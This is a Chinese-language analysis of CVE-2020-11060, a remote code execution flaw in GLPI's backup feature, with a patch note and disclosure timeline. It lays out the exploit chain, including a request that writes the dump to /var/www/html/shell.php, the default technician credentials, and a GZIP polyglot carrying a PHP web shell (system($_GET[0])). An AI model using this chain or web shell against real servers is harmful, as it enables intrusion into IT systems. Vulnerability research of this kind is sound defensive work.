Playing with GZIP: RCE in GLPI (CVE-2020-11060)
字数 1390 2025-08-25 22:58:46
GLPI GZIP RCE漏洞分析 (CVE-2020-11060)
漏洞概述
GLPI(Gestionnaire Libre de Parc Informatique)是一个开源的IT资产管理、问题跟踪系统和服务台系统。在0.85到9.4.5版本中,存在一个通过备份功能实现的远程代码执行漏洞。
漏洞类型:远程代码执行(RCE)
影响版本:0.85(2014年发布)到9.4.5(包括9.4.5,2019年发布)的所有GLPI版本
漏洞发现者:dapiwang
披露时间:2020年6月2日
漏洞细节
1. CSRF漏洞
具有maintenance权限的GLPI用户可以通过菜单执行SQL/XML dumps,这些操作存在CSRF漏洞:
- SQL备份:
http://host/front/backup.php?dump=dump - XML备份:
http://host/front/backup.php?xmlnow=xmlnow
默认情况下,dumps存储在GLPI_DUMP_DIR目录中(通常为http//host/files/_dumps/)。
2. 任意文件名参数
SQL备份接受fichier GET参数作为文件名:
if (!isset($_GET["fichier"])) {
$fichier = $filename;
} else {
$fichier = $_GET["fichier"];
}
这允许攻击者指定任意路径写入SQL dump文件。
3. 哈希路径泄露
GLPI的cookie名称基于应用程序路径的MD5哈希:
session_name("glpi_".md5(realpath(GLPI_ROOT)));
通过分析cookie名称可以推断出服务器上的实际路径。
漏洞利用链
利用条件
- 拥有Technician账户(默认用户tech,密码tech)
- 具有Maintenance权限(备份功能需要)
利用步骤
-
控制备份内容:
- 利用
offsettable参数仅备份glpi_wifinetworks表 - 通过WiFi网络的备注字段注入恶意payload
- 利用
-
构造恶意GZIP文件:
- 利用GZIP格式特性构造包含PHP代码的文件
- 绕过GLPI的XSS过滤器(将
<和>编码为<和>)
-
写入Web目录:
- 通过
fichier参数指定写入路径 - 例如:
http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php
- 通过
GZIP文件构造技术
-
未压缩块利用:
- 构造一个包含PHP代码的未压缩块
- 利用块头中的NLEN字段(补码)包含
<字符
-
动态Huffman编码块:
- 在动态块中插入
<?=/*打开PHP标签 - 确保后续内容不会关闭注释
- 在动态块中插入
-
完整结构:
[gzip header] [动态块开始] [动态压缩数据部分1] <?=/* [动态压缩数据部分2] [动态块结束] [未压缩块开始] */system($_GET[0]);echo `ls`;/* [填充数据] [未压缩块结束] [gzip footer]
修复方案
GLPI 9.4.6版本中已删除备份功能作为修复措施。
时间线
- 2020-04-27:漏洞报告
- 2020-04-28:修复代码提交
- 2020-05-05:GLPI 9.4.6发布
- 2020-05-08:CVE-2020-11060分配
- 2020-05-12:发布安全建议